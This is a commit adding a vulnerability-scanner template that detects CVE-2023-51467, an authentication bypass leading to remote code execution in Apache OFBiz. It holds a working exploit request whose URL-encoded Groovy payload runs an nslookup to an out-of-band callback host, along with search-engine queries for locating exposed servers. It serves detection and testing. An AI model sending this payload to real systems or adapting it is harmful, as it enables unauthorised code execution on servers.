Create CVE-2023-51467.yaml

http/cves/2023/CVE-2023-51467.yaml

@@ -0,0 +1,41 @@
+id: CVE-2023-51467
+
+info:
+  name: Apache OFBiz < 18.12.11 - Remote Code Execution
+  author: your3cho
+  severity: critical
+  description: |
+    The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
+  reference:
+    - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv
+    - https://www.openwall.com/lists/oss-security/2023/12/26/3
+    - https://twitter.com/_0xf4n9x_/status/1740202435367543183
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-51467
+  metadata:
+    max-request: 1
+    vendor: apache
+    product: ofbiz
+    shodan-query: html:"OFBiz"
+    fofa-query: app="Apache_OFBiz"
+  tags: cve,cve2023,apache,ofbiz,rce
+
+http:
+  - raw:
+      - |
+        POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup {{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: header
+        words:
+          - 'OFBiz.Visitor='